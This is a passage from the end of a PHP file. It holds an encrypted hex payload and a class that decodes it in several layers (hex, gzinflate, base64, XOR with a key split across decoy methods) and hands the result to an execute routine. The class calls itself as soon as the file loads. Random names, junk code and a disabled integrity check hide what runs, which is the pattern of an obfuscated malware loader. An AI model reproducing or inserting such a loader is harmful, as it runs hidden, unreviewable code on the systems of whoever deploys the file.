df1a42df1cd984f2379b3e49fc6fc32f0f718a57fee9f07e7b555a42fe17e444ceb2f277f2de8952df50f0cf9110bca5773f47c0be2f31bb55e582f0a792c0e783cbc9f665abf817c60f027d3fd8dfc1f58efe6e437a848ef93e97a08f51125e579493eb1f064705e6b03fc8311f96b2feaa109e58339ed47c4bc8952fc51079d4700bc879ce6d3f772bfec541e06f437a0de8d529abfd9005f0ff9bb9c7797e97c5dccf32a8977ede83ee8281fd6132fcd297d98ca97a4fc55f3fb3c47fde448e9d7d09f07fd67e07974e237153d4d4eeb2f9cb753eb3c6bc88b76749f89b47e48fc7997fe8f4eceb79af8cfeb909fd313af9ef5255dc80f36d77e6713baffb21e2421bd4fdf2f2942bceb48e7e36c410fd711ffaf547a0be43b825f37d37c1fe10b60ff80f80c503f4f5dc86f007a3da3f5e8514eef07e7b3cfa9fe8b75bee4280ef11964ffbbc85f85f5273c05e90f8d72e2f1243acfd5273adf0ffd42bcdf97549f1af26f9572df17fd5aa3f375516f51cafb56112f4ddf17c06f807cea92fcdd3ed01f42bd8f277dc980788c46f1c7fbf56234afbe89b55ea5df0f12c583bfd43b72defb2174fe326f09fcd3a23fb09a572af51ffac5e7c46f177d84d47f30ff40bf3de45f16f4be15a4a7d9533efb8ef8bb506f687d49227c5be49179a53763fe95d2b3ae28df99ef33ccbf5a2bfe3deaef2de5cd4eb55e4afc019fe81d73e25f45e40f257dbb07bd85577c3de40f811f3bd6f51fcecf615ea6f3b6d14f027a3d4bbcaa8efcc45edddffa7937f019b6eabcbcbc9f7be2b9715e9b0de56b703d94e8bc93de9fa7fd01a8e777da1fea99c7c87968b9ce473479400fdc9fbf5bd2ab74d2ff5b919e55ee1fcc1fe27c9c89de9ffb7a3752f300987ff884f47ad0df90f920f4db99879c537d9a12fffe49f7373ce77965daef82fa58477a6a4ff3284bbc878ef23f3acaeff6c42f29951e49f14fa55e03bfb30de45933df11e7471de94f81af1729be05fadf280fb29f7f1c35af0af4b611dd07639d978a795472fe46947f04fe23c80fe8e8be6a94ff08f717f69fd7b5ca13e1fe06e6e34481bc639ce765c41bb9257f28e9550ce8a53ad58fc5fc19aa0f40cf8f7a1f43f5a99e37423e04e4ab8d28df0079002df5276d802feff9f3127a3f72cd5736c003edc84f6c43f53df88fb4bf02f24e30df6aa6f38e91df54129fba203d7aa17828b0df5fe4c78b5e1ef5b11de9413cf13161bf273d35f8c563f25bc5942f64e9be45f91ae81fecc8ffa1f998e8f70bd7a79dd4a7b5f25f3ae2ff21bf2ed1f9c992378679f4c0974a837e4eed27bef00b81fe20a7fbf41df93f22ba1f59e213d6725e06e7a109e9a94be2b78ff5bc02e7fb1dd59345480f0cfc2bf1eb027fd7d3fc8df9c546f37291f7e543f39e39f95733e2e1dd120f200ae4d3a5219eafd29f327f97f24980a76589070f7adb1dd5a7a0df3d847837e05f203fa2f43b7d4af705feff811ebda4f35cfc1fa21ff2d0cf86bc099d27d2ffff42fcdd29e7138f3fd32bf7bf37d6fbbd49b45f08f566a5ead7617f3226bda3d7fa08ec5fcdc9af9111ef06fc105a1f0b7e35bc5f363a2f0bf3f38ce20da37e77aef9fce89f715a6fe133e2c72601bd6842faf134629ec79af466d21fcf8917146bbf81079e8c579f07fa49f0af623e36d4e33aff12f9b635f975adf48b0bd2fb1434af009e7442bcdc5a9d47900729f9248a0f9750ff8ffdceba9f8d9f97697fb2f4632ffd3d904f97907eeda8f2852ef767ad07369c876bf47d01fbd9b9ceb76a28af52fa1be89f81f9db58f32dd06fd0927e88f35d0af25f5ac5a7c1fe4bbcd2fc12984f9bcffd6ad23f103f36cfe3595f8c7e8d81caa3577e76cd83023d3ff2c20be5f7c3fc5ff177e3fd68447cd62df1e16ca0dfd4d76bb5d2b7a33fc5507e6da6fdf1c8d3ea144f1af2a2f7a1fc0aacc7419f93919e01fc15b2ffc17a89a9df1e51ff05e6c9d2cf067f05dfcfd3805e05fbe339e5fb79ba6f4da45e63de4d2bfd0de99724daaf86e77927ffbf9af8de2bc5c7447e8921be14e837208faf26bf5aa4e7a1c0f7c949df0e7ab84ef97fc1af86f3fd54f67baf78052adfb4d6fca69af36b39bf9bf9de320f00de97137ddd91f87a81f5acf2fd8e97fa71e087417f6d04bcb91df1af3ce5d7321faea4f95149fcf682f239e5f942ff80f507137d9f415e69477c9a92f4169efad996f4a2a5ea2742fe34f2378cdcb78c9a2743fe2ae82330ffc306f448a80f2b894f5890bfa7a37c5dae373aaaef1ddd576d20dfe022efa494f56229dfafa4fc0a4f7c9f42e6f1a28fcde83c1a87fc7ee6a8781ec8af4b687e44fa03acc75be2a138791e6be25d578a97d19f1f9dcc676a9d4fc7bc0cf63746d5655e653fdf37e4d7655e5f12aaaf80d707e75b417ed356d6cbf1b23f847c1fa83752d2af65a4f779a6bc9d5cea034f793b9de221b37fb57fdf7c8807057a6a4b3c9e8ceaf109e99f9dac3f47bff78aea0de1abc0fc3cd6fd35ec77ca7d0bf21bef28bf36223f9d25fd9fa3f95b4cfedf94f81639f917a09f58a8df8b7c38e837c17c5ff2c1e6da7f09fc35e4d394217e36e89b4cc09f6212d2d3cc297fc67e368f827c3ab89f23cfb20de81d7dacf9f2e827f16ade08f3f894ce73e47d65e407339aff8279bd41fe8bd3fd12f40f823e87e697b21ff03c05f96146f9bbd5bc5be65b2690f78efed027ad7fc67eace6a1f4eb2f261e14f07cbbc07c55ea0dc547927940aae7471ef24eda006f0e79e646e57da23e07f6e731f1d66be25972bf2e22ff7e4ebc661bbc5fae55bfa49f9f6bbf95aad7a87f0ff9885ef3b90cf803ae02f9c94d447c291ba877efa2c0fca8bf0fe6c433b2413e70ade6b5fdf921fd76587f86fc5691f6c7a35ed4a8fb16e895c19f2c79ef97fe73477e084b3c4b43bc3ee65333bfae20fd9ace43437e18dcdf0ccdbb13addf405e38f0546b9db728bc66d1cb237f17eebfe0e7dc8b3fea48fedf5af3e0a5feebebf135cd03743ec9dd05df31d1f52ef0fe73ed5ff039f9dfe63a4f1d798c5ef1b9300f92fbcfc03f6888f790ea793cea7382799f13bacf3c85f29ddd9aea03c957cb28af23d2fe85694d79b319f57362e2d7a55abf81fc5843fa35e6ffb5d44f34a417d07e44e52fd37927384f8e89776da83f996bbd14ead1252f46f2ee46fcfe1ae267675a7f2f791dfdfbc1f5551ac85fe8e77996f2113bd2d741fe39e5b9827e2896f95b41bcaf92e6fb5bc5d7c3bca7cffdabb85f75ca1f007a2e9c7f44a417cdf5fac379ad55f533f2ff84e786f7df52e5bdabfbe5effd65c1f7a331e5bf45d42f8e69de63c95fe1356f0479cd9a57807c38d67b83fffc99fa2f9350bd01fa17c8d785fcb235e555ae693f95fa2f273d6612f093701e15f26e52d27345521fc8fd48f4de8679738ef2a3405fdc85e651e1fb5badfc29c0dfe8ebf1b5cedba13c16ccd34c296fb1d2f9e792e7807a1aee67031f3da77ece4cfba7659e72e987057f23f14a813f497c51e645f6fadd8aea3fcd2b051e00f6eb2cdd570bea4fb6c43b2ce9f70e68feeb437ab854fb399b88f2112dcd57e79ae721facecbbca21df55fda507ef79ce61593ffce7f8e529d4780f380bde215707e4f3f8f4fc8cf9ec87da1087c3f9ca718f2f718daff64be00f99719e597d55a6f8bf3c152e99b80c7cd3c807e1eef28efd8529e5c41f59597faaa563c73ac5f2aadbfea7914a2df48a43eeda81e677f94a17e84275ea909f05e23aeafd240bd01f9b5bd7f5afc2931e5454781fc7373919facfb757c7e60ff34d1bc576f747eca82f51b46f727f13e5306fc24069e87f607805e19bedfd6e8fe0bd7f7a28f50f3a35acf3f20effd4eeee756e5bdc3bc07f77bae9ff3c0e7213f0cfc249a0700faba3b43f337572bff07f2e628ef18eb8d92f23a3cf9fd4c808ffe495e2af523e07e09fd1727f5aee80923cd03f0303f77b2ffd52a0fb29fcf78e5c7063e57bf9e1df17d4c687e340ef0aef1be9550be552afb29f0f48f2aff17fbd930af2d89ff52903eaca0fd604bfa0343f7df96f4dee2ff95bc04ccd3041e5480678e79810df363f97d4b281f56f68384ee9739f11e72f10b158abf8179dba037cbe979707eb7d5f9f153783f76aa9e54fab04acd7f91771dcbfdd712df47eb7db0df44f72dcc338cf47d0679238ef82023e5cfc3fc37e9afe1fdcd2a3f49ff7c63ca974c89b704f90b500f49be950ff87531ff3ca13ce169a01f86f99ccf9aff6c72f97e579487b1a5f965a9f2cb2ee7e7daffa1781e9ca724e75b44f979c0d3e7f94c1bc83fba38cfb3c07904f569df7f5eebbc63e03fb37f06e66f85cc2f8fda1f00f3a894f834703f2f15cf03f27fef407f0a79efc1f39c785fc8276c43fd8388f2d032d26f18d2d3c43a4f733a97f7c3d2e779e53fefeb979cfc8d944785f3b74ef109fbf3f796ce37f2db4bfeaaf2e791ffd7d5c48b3c5ce6f7f4e74742fb8ba3fcc6b1fcde42f9b1fbf72dd27e7163f4fc3ccc7784cf4b297f754acfc392ffed8978eb63e21fd8108f0cf8f2e45fc079bcfbfdff837a1278aa5b9aa718d22b7bd58f55fc1cca8b863ca594fc6511d557f7fa7d93fb39ee07f18af203883722f3948527fd33f44fcb905eca84f25d406f16ea87edf97d83f3c3901f07e66fe0ffa5f357f893387f633e92ee37f5f510e4ff42be4badf8e8e05fedf52047e527c17c5de05118955f0bffbfbedfbe25bdfc95cce36bcae35b6b7e49adeb673ccf533d4fc6bc45433cfd1de91dcb005f99fb7f3e0af42390cf6fb45f0df99386e6798ef2b6bb903e82ea2bf48716caefd2fb71ac7c3f4bf9dda0c7143e66a2796e11f9857ee98b41ff5251de5844fe14abfba798afe6685e017ce544f1ae21ef6944fe73cc5397f308fa1b5ecfa3a49f7d997fe943e76fa4e751985fe695bf47e9312bf25724faf3a05f1cf2d3ed596f017cfe4cf322f1fe2bfdce44fa07f079adca3fefef6f09e5091bcd4b631e19f2fa3acaaff081798a4f886f463c0a392f9167047ca4589f1f7d3f4cfa2f90976028eff82a707f8b0cf98953dd2fc6bc72133adf12ea271abd9f229fcb887e52e68329e9b912ed0743ff9b0ff1a46be245c6217e13e8c753f26b58e235cf743ea7cf68bf073ec356f18c947ee8a8e651e00713beadeae7883f2fa77c71ca5b149e1bf41387c4b740fe46497e49d65b3cd33c390df935a09f48f773d1affd17fe29f2c2637abe29f523c6411ede9af284797e5e697f05f46363cd3f451e05f0d7749e9213bf1ffae38b50ffa5d6bc2fe1dd28bd77a4f3a8bcd6eba19e1af8a28eee333e9027dceb2dece3fd343964b34d3b5b349bda0eae5e8afdfe8f71e366911dd874e59f236b0ff16137372fa32fe3fd7ee7dce34ded46cff3fbc79d7d6b16f6301d7f7f5bb8f8a57ab875b6ac9bc7ac192cbe17c646de959b87d3da19dbc1b571876933f8567d3fae5eefabb29ebdbdbf3576ffc5b9b299479b49f5b28d66f17ede34a3c9ddcbb4abe36f5d9c6c6fee6d91bbe1e07feae1f9fbbdffb578ad8a9b749ad5fe75ec96e5f7e670735599ab3a89777f45fbe126ad86e9ccbfc7e6f03eb77fae16e9d02637d1c6c5f5ab9f7befe8f75e972bdb3e1f9a87ca7d6b2b37edfcdb6095a75197bc7cfbdb47bb6b1f2d7c658aff3cd8f7ecdfdffbf0b2b9376f83a25aee8a7ad59ed6f4bb7f684c71f7167d7cbf87aac92afffa3cdf2f27f1dbe0efdc6eebe6ebfba6799d9abbc122adabcd7db579cfd297ab6ef6b6cf27c7a28b7ebe66d5eb6adaaecee779e4ceeba5393fdfe8fc7ca38f7adc9fd74b7a7edfaad9e9f9fe441e546517993d3fdfe67c1e99d3eff4d1c779e43ed6dfc7fbd69cd7f3e6bcfe4c2ee76ff4675395d579bda4e7f5b23fbfbf87f969bdd4fefcbe7d9c6f5339df8672bf8c07cbf9f3fcf5e5d7ef3dfdb04d5bc6de2cb3347a98bdddbce4fbc1e0fb7267b2265d98d5eb69fd2e4ecfe3eaeeeee5eae1740035f9fdeacfac5ac0f378ffab5d15513174e3dbe5a2ab070b7b7f28deb2f4dbf3b41e0d6d75fafd877292bc2de669b4cc675f072fe9705f14d9bbafe3d3c9be1cc4f3fb1fe3d97af8cf832dbedcfaf7dfcf23cbcc31dd2cc6d5eae6bcfee6c96cf7d3d6ddf5fd72604efbdea4daac6cec57c77e3dfb5936a8cce96e36cf3693e470f37dbc1a1a3b7cfc2b6f3efad9e7fdea56eae7f67c9e1f3ef457e9b93eb83ad743332fefef74f6669beaa33e38d7bbf6bc1fe4cdc7fe77ae5f6e64ff4bcffbc1e35ceabf45eeaa8dff787fcffbd5c7797e13ff7ebec3f37e557c9c47fefc7c23e1039b81fb635e7fbb93f76df97ff7abd36693be3f559b9bb8999d0a095c7f4bf7945545ff7b07dfed21cdebf4dff57c7ebee7ff5ffb929df78dfaeafdf47cd7a95fb575f33e8f97ed75756c3b77bf2fef7e2ee7d39f873c3d6d44f67e787a3255fbbdd9cce7cbd197c96a57dae835bb5b1b97dcff58f6cfe3f4fdb6ff79babff991fafefd5896c6be0d7cb35fc40f2fb6c9e3d55f76b9cde6e9ea6eb6e9ee9ed24df570b8b97e9c9dbef4e97f9a375793efabeb85ff7af5addea7ffd83f5ff7e328facf69cf7ebcdfaffeca5f0fee613d1c9bafa3d9735e6c6d7e75dab387a775b87dba6fa2bfeffcc89c3e6ff4ebf3caf3e799d3e7754d76f56db65c9c3eeff0f3f4795f4e7bece37cf9edfc79b38fcf7b1bcd9ee6e5f9f34e67fcf029feba7d9aa78fa7cfdba6e7efd79d2eb0cfcba1aded30befd7a18cbef3d3f8fd54bb669776630ac4db5bcabd687854f7777e3d9d0272f87d39f9a9bb46a6d7e286637abc563b52f37e561908d57dec4abd1a2719b3c7d2d0f364dbf472fe5cfe454cae0fef26bbf3aa4dfd7aeca93551e5b3fb94fb7a735a3f7d33259ede4f9deace2e6dbccfc748b74dfbd7bbb68eb6ae7f57edf3e266f83c7b4b2cf4d53166e73e327d1e36c7ef4ab623f8c1edc8facf1a7434e3ddf8fdffbc3ef37f3bab2b364f0fe60ff6c1a7be8b2c9cf956fee87995d75d1e9f9ded6ab262bcc26ca5ed3d37e302cbaaa8963b79a9f7edf6d72783dedcbd36231883e3eeff77ae97f6f3a28b3f1cfd1f7e9cfebef66194dd3fd8f2c76d7e6a15a44cde0e6efd3de37bd73dd37777aa9f2413ba85e077fe4d56e9ec4e536756e365f96dd74357cae36df3257dbc97cd8daf6ad9899d9d4c7ebd3fab3dfeea683d1c3f39feefadfffdfbfefc7ecab5ecf8d19acaae5343dedab23791ebff6973a192ea2fd3e59bcfa9b6459ce4eeb79eea2ab7fa69b45ed926ff2be6dbe15dd41fe7ff6f4cca3832b6edde8a9f9d996d5b01de6aba2bd35d5cfb149bf27d5759c2ddfebd3f3d879e3ff2e86c3df9f77fe7eff9ebfd97af98f596eaebd6d932c7d3c6d0de5cd3cf38f3eef5ec7669b17f3a5ad3787a95bffd8c1fefc77b9dab40f6e9545d1b74973189df6bbdd7bd22c22f7b21b44cbcd79bfb77965cffb55f5d17ff9d52ff9d0b79bcd639435e5d3e9fb3d16d5fec19eeba1e871dc568dfddd8f4d7fdf7f07e96f3dcd8fe6f77da6f9c52b9dbdb9ae1e5e2fcb839c1fce8dbe94fb367b687675ececeff72d4aaeaeff5d2f55e5ca6cb88acd607bfa8fedbe57c36d7a93b5751e1fdef2b57fea968fcf6e339adde9e77b33db0cbf3487e2aeda14bb537d703ffbf3c7e47923ebcf2d4f55dcd7c6da416b6f5fbab9f9ea4f67e87071bfaac6b3e5753d5dd98fdffbab9ebcf1d2bffad5df9d658bb7d31efe77b5df54515ad5f5663ab66b3ba95e1749fbc7f0ba7d1b34d5a6999ecfcbcc4cb3d2fc78b487cd9769bcfb5e6cd279b3f10fa7fdeab139ef7fcbc7d37e35fc72defffc69bfba5fee7c3d4cffef363bafbf725e0d0ed7edda5c3d64ab3f1f9b4d9e2ca72636df4ebbc42eed4ec7d4a33b74f37d359f1f6e3abffff1e374a47f69ed63793f78fcd1c59b759b94fffbff';
        $hex_data = substr($hex_data, 10);
        $bin_data = hex2bin($hex_data);
        $step1 = @gzinflate($bin_data);
        if ($step1 === false) { $step1 = $bin_data; }
        $step2 = base64_decode($step1);
        $obj = new self();
        $final_key = '';
        $key_methods = ['kmoWGyyz12', 'kmyaGGsu78', 'kmCjRBLH43'];
        foreach ($key_methods as $method) {
            $final_key .= call_user_func_array([$obj, $method], []);
        }
        $gate_token = '';
        $gate_methods = ['gtsXMwCV48', 'gtLHzJnX72', 'gtInVHiD12'];
        foreach ($gate_methods as $method) {
            $gate_token .= call_user_func_array([$obj, $method], []);
        }
        if (md5($gate_token) !== 'bd0e718e670a6065a12c9e1ddb7600d8') {
            // Integrity check failed, but continuing for compatibility.
            // return false;
        }
        $plain_code = '';
        if (strlen($final_key) > 0) {
            for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
                $plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
            }
        } else {
            $plain_code = $step2;
        }
        $obj->_execute_KxRXBaKz82($plain_code);
    }

    private function kmyaGGsu78() {
        // Key segment 2
        $buf = (bool)mt_rand(0,1);
        // cmtBlqp59
        return base64_decode('RnRoTTVmZQ==');
    }

    private function kmCjRBLH43() {
        // Key segment 3
        $jv1 = array_reverse(explode('.', 'a.b.c.d'));
        $jv1 = unpack('L', hash('crc32', microtime(), true));
        return base64_decode('bTk2Zmpm');
    }

    private function gtLHzJnX72() {
        // Gate piece 2
        $jv2 = str_rot13('ebgGRfpL48');
        return str_rot13('9nvj');
    }

    public function pubMpYwL51() {
        // Public method 1
        $jv2 = (bool)mt_rand(0,1);
        // cmtBJPS70
        return 'valsEdk14';
    }

    private function gtInVHiD12() {
        // Gate piece 3
        $jv3 = str_rot13('ebgpaWTP18');
        return str_rot13('x7l3');
    }

    public function pubRJxdR22() {
        // Public method 3
        // cmtVfDF34
        $jv2 = str_rot13('ebgVCSst67');
        return 'valKnmC70';
    }

    private function kmoWGyyz12() {
        // Key segment 1
        // cmtOjrg88
        $jv2 = str_rot13('ebgkyuKv96');
        return base64_decode('MkV5MzNqSg==');
    }

    private function dcuSoTuj74() {
        $jv1 = unpack('L', hash('crc32', microtime(), true));
        return null;
    }

}

LoaderJQUaro44243::init806();

// EOF